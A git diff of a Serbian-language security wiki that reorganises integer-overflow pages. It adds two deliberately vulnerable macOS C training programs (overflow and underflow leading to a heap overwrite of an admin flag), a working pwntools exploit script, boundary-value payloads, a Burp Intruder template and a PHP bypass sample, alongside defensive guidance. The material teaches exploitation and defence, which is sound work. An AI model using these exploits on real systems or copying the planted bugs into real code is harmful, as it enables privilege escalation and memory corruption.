diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..a6491130d --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,368 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## Osnovne informacije + +U srcu **integer overflow** leži ograničenje nametnuto **veličinom** tipova podataka u računarskom programiranju i **interpretacijom** podataka. + +Na primer, **8-bitni unsigned integer** može predstavljati vrednosti od **0 do 255**. Ako pokušate da smestite vrednost 256 u 8-bitni unsigned integer, ona će se vratiti na 0 zbog ograničenja kapaciteta skladištenja. Slično, za **16-bitni unsigned integer**, koji može držati vrednosti od **0 do 65,535**, dodavanje 1 na 65,535 će vrednost vratiti na 0. + +Pored toga, **8-bitni signed integer** može predstavljati vrednosti od **-128 do 127**. To je zato što je jedan bit iskorišćen za predstavljanje znaka (pozitivnog ili negativnog), ostavljajući 7 bitova za predstavljanje magnitude. Najnegativniji broj predstavlja se kao **-128** (binarno `10000000`), a najpozitivniji kao **127** (binarno `01111111`). + +Maksimalne vrednosti za uobičajene tipove celih brojeva: +| Tip | Veličina (bitovi) | Min vrednost | Max vrednost | +|----------------|-------------|--------------------|--------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +short je ekvivalentan `int16_t`, int je ekvivalentan `int32_t`, a long je ekvivalentan `int64_t` na 64-bitnim sistemima. + +### Maksimalne vrednosti + +Za potencijalne **web vulnerabilities** veoma je korisno znati maksimalne podržane vrednosti: + +{{#tabs}} +{{#tab name="Rust"}} +```rust +fn main() { + +let mut quantity = 2147483647; + +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); + +println!("{}", mul_result); +println!("{}", add_result); +} +``` +{{#endtab}} + +{{#tab name="C"}} +```c +#include +#include + +int main() { +int a = INT_MAX; +int b = 0; +int c = 0; + +b = a * 100; +c = a + 1; + +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; +} +``` +{{#endtab}} +{{#endtabs}} + +## Primeri + +### Pure overflow + +Štampani rezultat će biti 0 jer smo overflowed char: +```c +#include + +int main() { +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; +} +``` +### Pretvorba iz signed u unsigned + +Zamislite situaciju u kojoj se signed integer pročita iz korisničkog ulaza i zatim koristi u kontekstu koji ga tretira kao unsigned integer, bez odgovarajuće validacije: +```c +#include + +int main() { +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); + +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; + +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} + +return 0; +} +``` +U ovom primeru, ako korisnik unese negativan broj, on će biti interpretiran kao veliki bezpredznakni ceo broj zbog načina na koji se tumače binarne vrednosti, što može dovesti do neočekivanog ponašanja. + +### macOS Overflow Example +```c +#include +#include +#include +#include +#include + +/* +* Realistic integer-overflow → undersized allocation → heap overflow → flag +* Works on macOS arm64 (no ret2win required; avoids PAC/CFI). +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // Target to flip from 0 → 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) +const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) +size_t got = 0; + +printf("Requested bytes: %zu\n", want); + +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { +got += (size_t)n; +continue; +} +if (n == 0) { +// EOF – stop; partial reads are fine for our exploit +break; +} +// n < 0: real error (likely EINVAL when chunk too big on some FDs) +perror("read"); +break; +} +return got; +} + + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Bundle Importer (training) ==="); + +// 1) Read attacker-controlled parameters (use large values) +size_t count = 0, elem_size = 0; +printf("Entry count: "); +if (scanf("%zu", &count) != 1) return 1; +printf("Entry size: "); +if (scanf("%zu", &elem_size) != 1) return 1; + +// 2) Compute total bytes with a 32-bit truncation bug (vulnerability) +// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header. +uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. +/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits +Then, product32 = 0 +*/ +uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 +printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + +// 3) Allocate a single arena and lay out [buffer][slack][session] +// This makes adjacency deterministic (no reliance on system malloc order). +const size_t SLACK = 512; +size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; // In this buffer the attacker will copy data +struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, alloc32, (void*)sess, +((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + +// 4) Copy uses native size_t product (no truncation) → It generates an overflow +size_t to_copy = count * elem_size; // <-- Large size_t +printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + +puts(">> Send bundle payload on stdin (EOF to finish)..."); +size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 +printf("[dbg] actually read = %zu bytes\n", got); + +// 5) Privileged action gated by a field next to the overflow target +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +Kompajliraj ga sa: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_ovf_heap_priv int_ovf_heap_priv.c +``` +#### Exploit +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): +# IMPORTANT: use plain pipes, not PTY +io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + +# 1) Drive the prompts +io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 +io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + +# 2) Wait until it’s actually reading the payload +io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + +# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) +payload = b"A" * 48 + p32(1) + +# 4) Send payload, THEN send EOF via half-close on the pipe +io.send(payload) +io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + +# 5) Read the rest (should print admin + FLAG) +print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": +main() +``` +### macOS Underflow Primer +```c +#include +#include +#include +#include +#include + +/* +* Integer underflow -> undersized allocation + oversized copy -> heap overwrite +* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // flip 0 -> 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. +const size_t MAX_CHUNK = 1 << 20; // 1 MiB +size_t got = 0; +printf("[dbg] Requested bytes: %zu\n", want); +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { got += (size_t)n; continue; } +if (n == 0) break; // EOF: partial read is fine +perror("read"); break; +} +return got; +} + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Packet Importer (UNDERFLOW training) ==="); + +size_t total_len = 0; +printf("Total packet length: "); +if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + +const size_t HEADER = 16; + +// **BUG**: size_t underflow if total_len < HEADER +size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned +// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) +printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", +total_len, HEADER, payload_len); + +// Build a deterministic arena: [buf of total_len][16 gap][session][slack] +const size_t SLACK = 256; +size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; +struct session *sess = (struct session*)(arena + total_len + 16); +// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + +puts(">> Send payload bytes (EOF to finish)..."); +size_t got = read_stdin(buf, payload_len); +// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 +printf("[dbg] actually read = %zu bytes\n", got); + +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +Kompajliraj ga sa: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_underflow_heap int_underflow_heap.c +``` +### Ostali primeri + +- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) +- Samo 1B se koristi za čuvanje veličine password-a pa je moguće overflow-ovati ga i naterati ga da misli da je dužina 4 dok je zapravo 260, kako bi se bypass-ovala zaštita provere dužine +- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) + +- Dat je par brojeva — pomoću z3 pronađite novi broj koji, pomnožen sa prvim, daje drugi: + +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` + +- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) +- Samo 1B se koristi za čuvanje veličine password-a pa je moguće overflow-ovati ga i naterati ga da misli da je dužina 4 dok je zapravo 260, da bi se bypass-ovalo proveravanje dužine i prepisalo u stack sledeću lokalnu promenljivu i bypass-ovale obe zaštite + +## ARM64 + +Ovo **se ne menja u ARM64** kao što možete videti u [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index fabef6caf..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,115 +0,0 @@ -# Integer Overflow - -{{#include ../banners/hacktricks-training.md}} - -## Osnovne informacije - -U srcu **integer overflow** je ograničenje koje nameće **veličina** tipova podataka u računarstvu i **tumačenje** podataka. - -Na primer, **8-bitni bez znak** može predstavljati vrednosti od **0 do 255**. Ako pokušate da sačuvate vrednost 256 u 8-bitnom bez znaka, ona se vraća na 0 zbog ograničenja svoje kapaciteta skladištenja. Slično tome, za **16-bitni bez znak**, koji može da drži vrednosti od **0 do 65,535**, dodavanje 1 na 65,535 će vratiti vrednost nazad na 0. - -Štaviše, **8-bitni sa znakom** može predstavljati vrednosti od **-128 do 127**. To je zato što se jedan bit koristi za predstavljanje znaka (pozitivan ili negativan), ostavljajući 7 bita za predstavljanje magnitude. Najnegativniji broj se predstavlja kao **-128** (binarno `10000000`), a najpozitivniji broj je **127** (binarno `01111111`). - -### Maksimalne vrednosti - -Za potencijalne **web ranjivosti** veoma je zanimljivo znati maksimalne podržane vrednosti: - -{{#tabs}} -{{#tab name="Rust"}} -```rust -fn main() { - -let mut quantity = 2147483647; - -let (mul_result, _) = i32::overflowing_mul(32767, quantity); -let (add_result, _) = i32::overflowing_add(1, quantity); - -println!("{}", mul_result); -println!("{}", add_result); -} -``` -{{#endtab}} - -{{#tab name="C"}} -```c -#include -#include - -int main() { -int a = INT_MAX; -int b = 0; -int c = 0; - -b = a * 100; -c = a + 1; - -printf("%d\n", INT_MAX); -printf("%d\n", b); -printf("%d\n", c); -return 0; -} -``` -{{#endtab}} -{{#endtabs}} - -## Primeri - -### Čista preliv - -Ispisani rezultat će biti 0 jer smo preli u char: -```c -#include - -int main() { -unsigned char max = 255; // 8-bit unsigned integer -unsigned char result = max + 1; -printf("Result: %d\n", result); // Expected to overflow -return 0; -} -``` -### Signed to Unsigned Conversion - -Razmotrite situaciju u kojoj se potpisani ceo broj čita iz korisničkog unosa i zatim se koristi u kontekstu koji ga tretira kao nepotpisani ceo broj, bez odgovarajuće validacije: -```c -#include - -int main() { -int userInput; // Signed integer -printf("Enter a number: "); -scanf("%d", &userInput); - -// Treating the signed input as unsigned without validation -unsigned int processedInput = (unsigned int)userInput; - -// A condition that might not work as intended if userInput is negative -if (processedInput > 1000) { -printf("Processed Input is large: %u\n", processedInput); -} else { -printf("Processed Input is within range: %u\n", processedInput); -} - -return 0; -} -``` -U ovom primeru, ako korisnik unese negativan broj, biće interpretiran kao veliki nesigned integer zbog načina na koji se binarne vrednosti interpretiraju, što može dovesti do neočekivanog ponašanja. - -### Ostali primeri - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- Samo 1B se koristi za čuvanje veličine lozinke, tako da je moguće prepuniti je i naterati je da misli da je dužina 4, dok je zapravo 260, kako bi se zaobišla zaštita provere dužine. -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - -- Dati nekoliko brojeva, pronaći koristeći z3 novi broj koji pomnožen sa prvim daje drugi: - -``` -(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) -``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -- Samo 1B se koristi za čuvanje veličine lozinke, tako da je moguće prepuniti je i naterati je da misli da je dužina 4, dok je zapravo 260, kako bi se zaobišla zaštita provere dužine i prepisala sledeća lokalna promenljiva na steku, čime se zaobilaze obe zaštite. - -## ARM64 - -Ovo **se ne menja u ARM64** kao što možete videti u [**ovom blog postu**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index babcff78c..fefd74fa9 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -> Ova stranica se fokusira na to kako **integer overflow/kratki rezovi mogu biti zloupotrebljeni u web aplikacijama i pretraživačima**. Za tehnike eksploatacije unutar nativnih binarnih datoteka možete nastaviti sa čitanjem posvećene stranice: +> Ova stranica se fokusira na to kako **integer overflows/truncations can be abused in web applications and browsers**. Za exploitation primitives inside native binaries možete nastaviti čitanje posvećene stranice: > > {{#ref}} > ../../binary-exploitation/integer-overflow-and-underflow.md -> -{{#endref}} +> {{#endref}} --- -## 1. Zašto integer matematika i dalje ima značaj na webu +## 1. Why integer math still matters on the web -Iako je većina poslovne logike u modernim stakovima napisana u *sigurnim* jezicima, osnovni runtime (ili biblioteke trećih strana) je na kraju implementiran u C/C++. Kada se brojevi koje kontroliše korisnik koriste za alokaciju bafera, izračunavanje ofseta ili izvođenje provere dužine, **32-bitno ili 64-bitno preklapanje može pretvoriti naizgled bezopasan parametar u čitanje/pisanje van granica, zaobilaženje logike ili DoS**. +Iako je većina business-logic u modernim stack-ovima napisana u *memory-safe* jezicima, underlying runtime (ili third-party libraries) je na kraju implementiran u C/C++. Kad god se korisnički kontrolisani brojevi koriste za alokaciju buffera, računanje ofseta ili proveru dužine, **a 32-bit or 64-bit wrap-around may transform an apparently harmless parameter into an out-of-bounds read/write, a logic bypass or a DoS**. Tipična površina napada: -1. **Numerički parametri zahteva** – klasična id, ofset ili polja broja. -2. **Dužina / veličina zaglavlja** – Content-Length, dužina WebSocket okvira, HTTP/2 continuation_len, itd. -3. **Metapodaci formata datoteka obrađeni na serverskoj ili klijentskoj strani** – dimenzije slika, veličine delova, tabele fontova. -4. **Konverzije na nivou jezika** – signed↔unsigned castovi u PHP/Go/Rust FFI, JS Number → int32 skraćivanja unutar V8. -5. **Autentifikacija i poslovna logika** – vrednost kupona, cena ili proračuni stanja koji tiho prelivaju. +1. **Numeric request parameters** – klasična id, offset ili count polja. +2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, itd. +3. **File-format metadata parsed server-side or client-side** – dimenzije slike, chunk sizes, font tables. +4. **Language-level conversions** – signed↔unsigned casts u PHP/Go/Rust FFI, JS Number → int32 truncations inside V8. +5. **Authentication & business logic** – vrednost kupona, cena ili proračuni stanja koji se tiho overflow-uju. --- -## 2. Nedavne ranjivosti iz stvarnog sveta (2023-2025) +## 2. Recent real-world vulnerabilities (2023-2025) -| Godina | Komponenta | Osnovni uzrok | Uticaj | -|--------|------------|---------------|--------| -| 2023 | **libwebp – CVE-2023-4863** | 32-bitno preklapanje množenja prilikom izračunavanja veličine dekodiranog piksela | Pokrenuo Chrome 0-day (BLASTPASS na iOS-u), omogućio *daljinsko izvršavanje koda* unutar sandbox-a renderera. | -| 2024 | **V8 – CVE-2024-0519** | Skraćivanje na 32-bitno prilikom povećanja JSArray dovodi do OOB pisanja na pozadinskom skladištu | Daljinsko izvršavanje koda nakon jedne posete. | -| 2025 | **Apollo GraphQL Server** (neobjavljeni zakrpa) | 32-bitni potpisani ceo broj korišćen za argumente paginacije prvi/poslednji; negativne vrednosti se preklapaju u ogromne pozitivne | Zaobilaženje logike i iscrpljivanje memorije (DoS). | +| Year | Component | Root cause | Impact | +|------|-----------|-----------|--------| +| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. | +| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. | +| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). | --- -## 3. Strategija testiranja +## 3. Testing strategy -### 3.1 Cheat-sheet za granicne vrednosti +### 3.1 Boundary-value cheat-sheet -Pošaljite **ekstreme potpisane/bez potpisane vrednosti** gde god se očekuje ceo broj: +Pošaljite **extreme signed/unsigned values** gde god se očekuje integer: ``` -1, 0, 1, 127, 128, 255, 256, @@ -49,9 +48,9 @@ Pošaljite **ekstreme potpisane/bez potpisane vrednosti** gde god se očekuje ce 9223372036854775807, 9223372036854775808, 0x7fffffff, 0x80000000, 0xffffffff ``` -Drugi korisni formati: -* Hex (0x100), oktalni (0377), naučni (1e10), JSON big-int (9999999999999999999). -* Veoma dugi nizovi cifara (>1kB) za testiranje prilagođenih parsera. +Ostali korisni formati: +* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999). +* Veoma dugački nizovi cifara (>1kB) da bi pogodili prilagođene parsere. ### 3.2 Burp Intruder šablon ``` @@ -60,17 +59,17 @@ Payload type: Numbers From: -10 To: 4294967300 Step: 1 Pad to length: 10, Enable hex prefix 0x ``` -### 3.3 Fuzzing biblioteke i runtime-ovi +### 3.3 Biblioteke i runtime-ovi za fuzzing -* **AFL++/Honggfuzz** sa libFuzzer okvirom oko parsera (npr., WebP, PNG, protobuf). -* **Fuzzilli** – fuzzing koji je svestan gramatike JavaScript engine-a kako bi pogodio V8/JSC integer truncations. -* **boofuzz** – fuzzing mrežnih protokola (WebSocket, HTTP/2) fokusirajući se na dužinske polja. +* **AFL++/Honggfuzz** sa libFuzzer harness-om oko parsera (npr. WebP, PNG, protobuf). +* **Fuzzilli** – grammar-aware fuzzing JavaScript engine-a da bi pogodio V8/JSC truncacije celobrojnih vrednosti. +* **boofuzz** – fuzzing mrežnih protokola (WebSocket, HTTP/2) fokusiran na polja dužine. --- ## 4. Obrasci eksploatacije -### 4.1 Zaobilaženje logike u kodu sa servera (PHP primer) +### 4.1 Logic bypass in server-side code (PHP primer) ```php $price = (int)$_POST['price']; // expecting cents (0-10000) $total = $price * 100; // ← 32-bit overflow possible @@ -79,28 +78,30 @@ die('Too expensive'); } /* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */ ``` -### 4.2 Prelivanje u heap-u putem dekodera slika (libwebp 0-day) -WebP bezgubitni dekoder pomnožio je širinu slike × visinu × 4 (RGBA) unutar 32-bitnog int-a. Kreirani fajl sa dimenzijama 16384 × 16384 prelazi granicu množenja, alocira kratak bafer i potom piše **~1GB** dekompresovanih podataka izvan heap-a – što dovodi do RCE u svakom Chromium-baziranom pretraživaču pre 116.0.5845.187. +### 4.2 Heap overflow via image decoder (libwebp 0-day) +WebP lossless decoder je pomnožio image width × height × 4 (RGBA) unutar 32-bit int-a. Specijalno konstruisan fajl sa dimenzijama 16384 × 16384 izaziva overflow pri množenju, alocira premali buffer i potom upisuje **~1GB** dekompresovanih podataka izvan heap-a – što dovodi do RCE u svim Chromium-based browserima pre 116.0.5845.187. -### 4.3 XSS/RCE lanac zasnovan na pretraživaču -1. **Prelivanje celog broja** u V8 omogućava proizvoljno čitanje/pisanje. -2. Izbegnite sandbox sa drugom greškom ili pozovite nativne API-je da ispustite payload. -3. Payload zatim injektuje zlonamerni skript u kontekst porekla → pohranjeni XSS. +### 4.3 Browser-based XSS/RCE chain +1. **Integer overflow** in V8 gives arbitrary read/write. +2. Escape the sandbox with a second bug or call native APIs to drop a payload. +3. The payload then injects a malicious script into the origin context → stored XSS. --- ## 5. Odbrambene smernice -1. **Koristite široke tipove ili proverenu matematiku** – npr., size_t, Rust checked_add, Go math/bits.Add64. -2. **Validirajte opsege rano**: odbacite svaku vrednost van poslovnog domena pre aritmetike. -3. **Omogućite sanitizatore kompajlera**: -fsanitize=integer, UBSan, Go race detector. -4. **Usvojite fuzzing u CI/CD** – kombinujte povratne informacije o pokrivenosti sa granicama korpusa. -5. **Ostanite ažurirani** – greške prelivanja celog broja u pretraživaču često se koriste kao oružje u roku od nekoliko nedelja. +1. **Use wide types or checked math** – e.g., size_t, Rust checked_add, Go math/bits.Add64. +2. **Validate ranges early**: odbacite svaku vrednost van business domain pre aritmetike. +3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector. +4. **Adopt fuzzing in CI/CD** – kombinuje coverage feedback sa boundary corpora. +5. **Stay patched** – browser integer overflow bugs se često iskorišćavaju u roku od nekoliko nedelja. --- -## Reference + + +## References * [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) -* [Google Project Zero – "Razumevanje V8 CVE-2024-0519"](https://googleprojectzero.github.io/) +* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/) {{#include ../../banners/hacktricks-training.md}}